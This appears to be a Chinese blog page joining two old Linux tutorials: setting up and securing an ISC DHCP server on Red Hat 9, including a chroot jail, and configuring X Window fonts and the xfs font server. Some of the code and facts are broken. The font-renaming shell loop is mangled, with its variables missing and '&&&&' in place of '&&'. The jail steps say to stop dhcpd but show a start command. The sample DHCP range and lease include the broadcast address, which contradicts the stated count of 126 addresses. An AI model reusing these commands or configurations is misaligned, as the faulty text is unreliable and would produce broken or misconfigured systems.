DHCP是动态主机配置协议.这个协议用于向计算机自动提供IP地址,子网掩码和路由信息。网络管理员通常会分配某个范围的 IP 地址来分发给局域网上的客户机。当设备接入这个局域网时,它们会向 DHCP 服务器请求一个 IP 地址。然后 DHCP 服务器为每个请求的设备分配一个地址,直到分配完该范围内的所有 IP 地址为止。已经分配的 IP 地址必须定时地延长借用期。这个延期的过程称作 leasing,确保了当客户机设备在正常地释放 IP 地址之前突然从网络断开时被分配的地址可以归还给服务器。本文以Redhat Linux 9.0为例,介绍如何建立一个完整和安全的DHCP服务器。
一、建立DHCP服务器配置文件
可以使用Redhat Linux 9.0自身携带rpm包安装。安装结束后, DHCP 端口监督程序 dhcpd 配置文件是 /etc 目录中的名为 dhcpd.conf 的文件。下面手工建立/etc/dhcpd.conf文件。/etc/dhcpd.conf通常包括三部分:parameters、declarations 、option。
1. DHCP配置文件中的parameters(参数):表明如何执行任务,是否要执行任务,或将哪些网络配置选项发送给客户。主要内容见表1:
参数 解释
ddns-update-style 配置DHCP-DNS 互动更新模式。
default-lease-time 指定确省租赁时间的长度,单位是秒。
max-lease-time 指定最大租赁时间长度,单位是秒。
hardware 指定网卡接口类型和MAC地址。
server-name 通知DHCP客户服务器名称。
get-lease-hostnames flag 检查客户端使用的IP地址。
fixed-address ip 分配给客户端一个固定的地址。
authritative 拒绝不正确的IP地址的要求。

2. DHCP配置文件中的declarations (声明):用来描述网络布局、提供客户的IP地址等。主要内容见表2:
声明 解释
shared-network 用来告知是否一些子网络分享相同网络。
subnet 描述一个IP地址是否属于该子网。
range 起始IP 终止IP 提供动态分配IP 的范围。
host 主机名称 参考特别的主机。
group 为一组参数提供声明。
allow unknown-clients ?deny unknown-client 是否动态分配IP给未知的使用者。
allow bootp;deny bootp 是否响应激活查询。
allow booting?deny booting 是否响应使用者查询。

filename 开始启动文件的名称,应用于无盘工作站。
next-server 设置服务器从引导文件中装如主机名,应用于无盘工作站。



3. DHCP配置文件中的option(选项):用来配置DHCP可选参数,全部用option关键字作为开始,主要内容包括见表3:
选项 解释
subnet-mask 为客户端设定子网掩码。
domain-name 为客户端指明DNS名字。
domain-name-servers 为客户端指明DNS服务器IP地址。
host-name 为客户端指定主机名称。
routers 为客户端设定默认网关。
broadcast-address 为客户端设定广播地址。
ntp-server 为客户端设定网络时间服务器IP地址。
time-offset 为客户端设定和格林威治时间的偏移时间,单位是秒。

注意:如果客户端使用的是视窗操作系统,不要选择“host-name”选项,即不要为其指定主机名称。
下面是一个笔者使用的DHCP配置文件,这是一个C类网络,共126个IP地址可以分配的例子。读者可以复制后使用,注意红色部分是必须要修改的。

ddns-update-style interim;
ignore client-updates;

subnet 192.168.1.0 netmask 255.255.255.0 {

option routers 192.168.1.254;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option domain-name-servers 192.168.1.3;
option domain-name "www.cao.com"; #DNS名称#
option domain-name-servers 192.168.1.3;

option time-offset -18000;

range dynamic-bootp 192.168.1.128 192.168.1.255;
default-lease-time 21600;
max-lease-time 43200;

host ns {
hardware ethernet 52:54:AB:34:5B:09;#运行DHCP的网络接口的MAC地址#
fixed-address 192.168.1.9;
}
}

二、建立客户租约文件
运行DHCP服务器还需要一个名为 dhcpd.leases 的文件,保持所有已经分发出去的 IP 地址。在Redhat Linux 发行版本中,该文件位于 /var/lib/dhcp/ 目录中。如果您通过 RPM 安装 ISC DHCP,那么该目录应该已经存在。dhcpd.leases的文件格式为:

Leases address {statement}
一个典型的文件内容如下:
lease 192.168.1.255 { #DHCP服务器分配的IP地址#
starts 1 2005/05/02 03:02:26; # lease 开始租约时间#
ends 1 2005/05/02 09:02:26; # lease 结束租约时间#
binding state active;
next binding state free;
hardware ethernet 00:00:e8:a0:25:86; #客户机网卡MAC地址#
uid "\001\000\000\350\240%\206"; #用来验证客户机的UID标示#
client-hostname "cjh1"; #客户机名称#
}
注意lease 开始租约时间和lease 结束租约时间是格林威治标准时间(GMT),不是本地时间。
第一次运行DHCP服务器时dhcpd.leases是一个空文件,也不用手工建立。如果不是通过 RPM 安装 ISC DHCP,或者 dhcpd 已经安装,那么您应该试着确定 dhcpd 将其 lease 文件写到何处,并确保该文件存在。也可以手工建立一个空文件:

#touch /var/lib/dhcp/dhcpd.leases

三、启动和检查DHCP服务器
使用命令启动DHCP服务器:
#service dhcpd start
使用ps命令检查dhcpd进程:
#ps -ef | grep dhcpd
root 2402 1 0 14:25 ? 00:00:00 /usr/sbin/dhcpd
root 2764 2725 0 14:29 pts/2 00:00:00 grep dhcpd
使用检查dhcpd运行的端口:
# netstat -nutap | grep dhcpd
udp 0 0 0.0.0.0:67 0.0.0.0:* 2402/dhcpd


四、配置DHCP客户端
通常网管员使用选择手工配置 DHCP 客户,需要修改 /etc/sysconfig/network 文件来启用联网;并修改 /etc/sysconfig/network-scripts 目录中每个网络设备的配置文件。在该目录中,每个设备都有一个叫做 ifcfg-eth? 的配置文件,eth?是网络设备的名称。 如eth0等。如果你想在引导时启动联网,NETWORKING 变量必须 被设为 yes。 除了此处之外/etc/sysconfig/network 文件应该包含以下行:
NETWORKING=yes
DEVICE=eth0
BOOTPROTO=dhcp
ONBOOT=yes

五、DHCP配置常见错误排除
通常配置DHCP 服务器很容易,不过,在这里有一些技巧可以帮助您避免出现问题。对服务器而言,要确保网卡正常工作,并具备广播功能。对客户机而言,还要确保客户机的网卡正常工作。最后,要考虑网络的拓扑,并考虑客户机向 DHCP 服务器发出的广播消息是否会受到阻碍。另外如果dhcpd进程没有启动,那么可以浏览 syslog 消息文件来确定是哪里出了问题。这个消息文件通常是 /var/log/messages。
典型故障:
1.DHCP服务器配置完成,没有语法错误。但是网络中的客户机却没办法取得IP地址。
通常是Linux DHCP服务器?有办法接收?自255.255.255.255 的 DHCP 客户机的Request 封包造成的。一般是Linux DHCP服务器的网卡没有设置具有MULTICAST功能。为了让dhcpd(dhcp程序的守护进程)能够正常的和DHCP客户机沟通,dhcpd必须传送封包到255.255.255.255这个IP地址,但是有些Linux系统里255.255.255.255这个IP地址被用来做为监听区域子网域(local subnet)广播的 IP地址,所以需要在路由表(routing table)里加入255.255.255.255以激活MULTICAST功能;
使用命令:
route add -host 255.255.255.255 dev eth0
如果报告错误消息:255.255.255.255:Unkown host
那么请先修改/etc/hosts加入一行:
255.255.255.255 dhcp
2. DHCP客户端程序和DHCP服务器不兼容
由于Linux有许多发现版本,不同版本使用DHCP客户端程序和DHCP服务器也不相同。Linux提供了四种DHCP客户端程序:pump, dhclient, dhcpxd, 和dhcpcd。了解不同Linux发行版本的服务器端和客户端程序对于常见错误排除是必要的。笔者曾经遇到过使用SuSE Linux 9.1 DHCP服务器和使用Mandrake Linux 9.0客户机不兼容的情况。此时就必须更换客户端程序。方法是先停止客户机的网络服务,卸载原程序,安装和服务器端兼容程序。附表:主要Linux发行版使用的DHCP客户端。
发行版本
缺省 DHCP客户端 可选 DHCP 客户端 DHCP客户端启动
脚本 附加配置文件
Red Hat Linux 9.0 dhclient 无 /sbin/ifup /etc/sysconfig/network,
/etc/sysconfig/network-scripts/ifcfg-eth0
Debian Linux 3.0 dhclient 无 /sbin/ifup /etc/network/interfaces,
/etc/dhclient.conf
Mandrake Linux 9.1 dhclient dhcpcd, dhcpxd, pump /sbin/ifup /etc/sysconfig/network,
/etc/sysconfig/network-scripts/ifcfg-eth0,
/etc/dhclient-eth0.conf
SuSE Linux 9.1 dhcpcd dhclient /sbin/ifup-dhcp /etc/sysconfig/network/dhcp,
/etc/sysconfig/network/ifcfg-eth0

六、DHCP服务器的安全

1. 在指定网络接口启动DHCP服务器
如果你的Linux系统连接了不止一个网络界面,但是你只想让 DHCP 服务器启动其中之一,你可以配置 DHCP 服务器只在那个设备上启动。在 /etc/sysconfig/dhcpd 中,把界面的名称添加到 DHCPDARGS 的列表中:
DHCPDARGS=eth0
或者直接使用命令:
Echo “DHCPDARGS=eth0”>> /etc/ sysconfig/dhcpd
这样对于带有两个网卡的防火墙机器,更加安全:一个网卡可以被配置成 DHCP 客户来从互联网上检索 IP 地址;另一个网卡可以被用作防火墙之后的内部网络的 DHCP 服务器。仅指定连接到内部网络的网卡使系统更加安全,因为用户无法通过互联网来连接它的守护进程。
2. 让DHCP服务器在监牢中运行
所谓“监牢”就是指通过chroot机制来更改某个软件运行时所能看到的根目录,即将某软件运行限制在指定目录中,保证该软件只能对该目录及其子目录的文件有所动作,从而保证整个服务器的安全。这样即使出现被破?或被侵入,所受的??也较小。
将软件chroot化的一个问题是该软件运行时需要的所有程序、配置文件和库文件都必须事先安装到chroot目录中,通常称这个目录为chroot jail(chroot“监牢”)。如果要在“监牢”中运行dhcpd,而事实上根本看不到文件系统中那个真正的目录。因此需要事先创建目录,并将dhcpd复制到其中。同时dhcpd需要几个库文件,可以使用ldd(library Dependency Display缩写)命令,ldd作用是显示一个可执行程序必须使用的共享库。
ldd dhcpd
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
这意味着还需要在“监牢”中创建lib目录,并将库文件复制到其中。手工完成这一工作是非常麻烦的,此时可以用jail软件包来帮助简化chroot“监牢”建立的过程。
(1)Jail软件的编译和安装
Jail官方网站是:http://www.jmcresearch.com/ ,最新版本:1.9a。
#Wget http://www.jmcresearch.com/static/dwn/projects/jail/jail_1.9a.tar.gz
#tar xzvf jail.tar.gz ;cd jail/src
#make; make install
(2)用jail创建监牢
jail软件包提供了几个Perl脚本作为其核心命令,包括mkjailenv、addjailuser和addjailsw。
mkjailenv:创建chroot“监牢”目录,并且从真实文件系统中拷贝基本的软件环境。addjailsw:从真实文件系统中拷贝二进制可执行文件及其相关的其它文件(包括库文件、辅助性文件和设备文件)到该“监牢”中。addjailuser:创建新的chroot“监牢”用户。
首先停止目前dhcpd服务,然后建立chroot目录:
#/sbin/service dhcpd start
#mkjailenv /chroot/
mkjailenv
A component of Jail (version 1.9 for linux)
http://www.gsyc.inf.uc3m.es/~assman/jail/
Juan M. Casillas

Making chrooted environment into /chroot
Doing preinstall()
Doing special_devices()
Doing gen_template_password()
Doing postinstall()
Done.
下面的例子展示为“监牢”添加dhcpd程序的过程
# addjailsw /chroot/ -P /usr/sbin/dhcpd
addjailsw
A component of Jail (version 1.9 for linux)
http://www.gsyc.inf.uc3m.es/~assman/jail/
Juan M. Casillas

Guessing dhcpd args(0)
Warning: file /chroot//lib/tls/libc.so.6 exists. Overwritting it
Warning: file /chroot//lib/ld-linux.so.2 exists. Overwritting it
………
Done.
不用在意那些警告信息,因为jail会调用ldd检查dhcpd用到的库文件。而几乎所有基于共享库的二进制可执行文件都需要上述的几个库文件。接下来将dhcpd的相关文件拷贝到“监牢”中:
# mkdir -p /chroot/dhcp/etc
# cp /etc/dhcpd.conf /chroot/dhcp/etc/
# mkdir -p /chroot/dhcp/var/state/dhcp
# touch /chroot/dhcp/var/state/dhcp/dhcp.leases
此时的“监牢”目录结构见图1。

图1 “监牢”目录结构
重新启动dhcpd:
[root@www root]# /chroot/usr/sbin/dhcpd
使用ps命令检查dhcpd进程:
#ps -ef | grep dhcpd
root 2402 1 0 14:25 ? 00:00:00 /chroot/usr/sbin/dhcpd
root 2764 2725 0 14:29 pts/2 00:00:00 grep dhcpd
注意此时进程名称已经改变,使用检查dhcpd运行的端口:
# netstat -nutap | grep dhcpd
udp 0 0 0.0.0.0:67 0.0.0.0:* 2402/dhcpd
端口号没有改变。现在dhcpd已经成功运行在“监牢”中。

到此为止一个这样,一个完整和安全的 DHCP服务器就完成了。

2007年2月14日星期三

Linux系统的字型设定方法

这次我们来研究如何调整各式各样的字型设定,如何安装新字体,和其他可以大大改善Xwindow字型的外观和可读性的方法。这是藉由调整XF86Config文件中的字型路径(FontPath),在startx或xdm加上Xserver命令列选项(command line options),加入新的字型,安装TrueType字型服务器(font server) xfs,和使用K Desktop Environment 1.1的功能来调整许多应用程序的字型设定,包含设定让非KDE应用程序的颜色和字型能够与KDE一致。
  XF86Config文件

  要想解决字型的问题,首先得看看XF86Config文件。(通常放在/etc/X11/

  XF86Config)。这个文件中关于字型最重要的部分就是FontPath。在我们研究它之前,最好先检查X的其他设定。错误的屏幕设定比错误的字型设定更令人头痛。请确定您屏幕的更新频率(refresh rate)。

  设定FontPath

  用vi文字编辑器编辑XF86Config,在档案的开头,应该会看到类似下面的东西:

  FontPath "unix/:7100"

  FontPath "/usr/X11R6/lib/X11/fonts/TrueType"

  FontPath "/usr/X11R6/lib/X11/fonts/75dpi/"

  FontPath "/usr/X11R6/lib/X11/fonts/100dpi/"

  FontPath告诉X到那里去找在屏幕上显示用的字型。顺序是很重要的,当一个X的应用程序向X要求使用一些字型,X server通常偏好使用正在用的字型。然后它去看看FontPath,使用最先看到能满足X client要求的字型。

  预设的FontPath通常将75dpi的字型放在100dpi的字型前面。若有一台高分辨率的屏幕,这表示非常小的字。首先就是将75dpi和100dpi的FontPath对调。

  FontPath "/usr/X11R6/lib/X11/fonts/misc/"

  FontPath "/usr/X11R6/lib/X11/fonts/Type1/"

  FontPath "/usr/X11R6/lib/X11/fonts/100dpi/"

  FontPath "/usr/X11R6/lib/X11/fonts/75dpi/"

  然后指出偏好使用不能缩放的点阵字。若曾经使用Netscape或是其他使用较大字型来显示标题的程序,将会发现这些字型呈现锯齿状的。这样很丑,需要修改。所以在misc,100dpi和75dpi的最后加上:unscaled。也可以同时使用能缩放和不能缩放的字,只要将不能缩放的字的FontPath放在前面,告诉X说若可能的话,尽量使用不能缩放的字。

  FontPath "/usr/X11R6/lib/X11/fonts/misc:unscaled"

  FontPath "/usr/X11R6/lib/X11/fonts/100dpi:unscaled"

  FontPath "/usr/X11R6/lib/X11/fonts/75dpi:unscaled"

  FontPath "/usr/X11R6/lib/X11/fonts/Type1"

  FontPath "/usr/X11R6/lib/X11/fonts/Speedo"

  FontPath "/usr/X11R6/lib/X11/fonts/misc"

  FontPath "/usr/X11R6/lib/X11/fonts/100dpi"

  FontPath "/usr/X11R6/lib/X11/fonts/75dpi"

  在做了这些改变后,重新启动X。

  

X server命令列选项

  下面一件要做的事是调整X server的命令列选项。可用-dpi来指定显示的分辨率是每英寸几点。现在很多的系统使用高分辨率的显示器,可能它们会要用100dpi。

  在console下启动X,键入

  startx -dpi 100

  若用xdm这种图形登录界面,需要编辑/usr/X11/lib/X11/xdm/Xservers文件。在里面有Xserver的命令列。我的文件里有下面这一行:

  :0 local /usr/X11R6/bin/X -dpi 100 -gamma 1.6

TrueType 字型


  在 Windows 里加上了对 TrueType 字型的支持。Windows 95 和其他的Windows 都内含 Arial、Times New Roman和 Courier New。约等于 Helvetica、Times和 Courier。TrueType 字型是能缩放的,所以在放大时很好看,而它们也被好好地调整过,故在缩小的时候依然可读。

  xfs

  xfs 是一种字型服务器的选择,XteamLinux 4.0默认的就是使用该字型服务器。xfs 是基于 FreeType Font library, 不只能处理 TrueType 和 Type 1 字型,也可以对付原本的 X 字型。

  安 装

  第一步是将 TrueType 字型加入Xteamlinux 4.0 里。su 为超级用户,建一个目录来存放这些字型: mkdir /usr/share/fonts/ttfonts。

  然后将字型放入这个目录里。您可以从Windows 系统中拷贝过去 cp /mnt/win/path_to_fonts/*ttfusr/share/fonts/ttfonts/或是从 Microsoft 直接下载。

  这些字型是自解压缩的ZIP文件。也可按如下方法安装:

  unzip

  注意字型的名文件必须小写。一个快速又容易的转换方法是将它们拷贝到一个 DOS(FAT16) 档案系统中,然后再拷贝回来。DOS 不处理大写。另一个方法是先进入到存放字型的目录下,然后键入:

  ls *TTF | while read f

  do

  [ -f "" ] &&&& mv -f "" "`echo "" | tr A-Z a-z`"

  done

  注意标点符号——那些“backquotes”很重要。当 TrueType 字型正确安装后,以超级用户执行:

  ttmkfdir -o fonts.scale

  mkfontdir

  

当字型目录下的内容改变后,重新执行上面的命令。接下来,编辑你的 xfs 字型设定文件/etc/X11/fs/config 在字型表中加入你的 TrueType 字型:

  catalogue =

  /usr/X11R6/lib/X11/fonts/misc:unscaled,

  /usr/X11R6/lib/X11/fonts/100dpi:unscaled,

  /usr/X11R6/lib/X11/fonts/75dpi:unscaled,

  /usr/X11R6/lib/X11/fonts/misc,

  /usr/X11R6/lib/X11/fonts/Type1,

  /usr/X11R6/lib/X11/fonts/Speedo,

  /usr/share/fonts/default/Type1,

  /usr/share/fonts/ttfonts,

  /usr/X11R6/lib/X11/fonts/100dpi,

  /usr/X11R6/lib/X11/fonts/75dpi

  也可以用“chkfontpath --add ”命令来加入字型。当使用时,按如下方法更改字型的预设点数。

  default-point-size = 140

  这使我从预设的 12 点字变为 14 点字。有些 X 的应用程序使用这个,有些则不。接下来,确定XF86Config 文件中的 FontPath 是:

  FontPath "unix/:-1"

  注意“unix/:7100”也可以做到,但是在刚出来时无法使用。将所有的 FontPath 用“#”让它变成注解,反正你也不用它们了。xfs 的 packages 应该和其他XFree 的 packages 一起安装了。要确定它是预设的服务,可以使用 “ntsysv” 或是 chkconfig --add xfs

  现在 xfs 在您每一次开机的时候都会启动。重新启动 X 来读入新的 FontPath。用下面的方式 启动/重新启动 xfs

  /etc/rc.d/init.d/xfs restart

  这样Xteamlinux 4.0就有个可以使用的字型服务器了,而且它已经启动了,可以检查哪些字型正在被使用:

  xlsfonts | less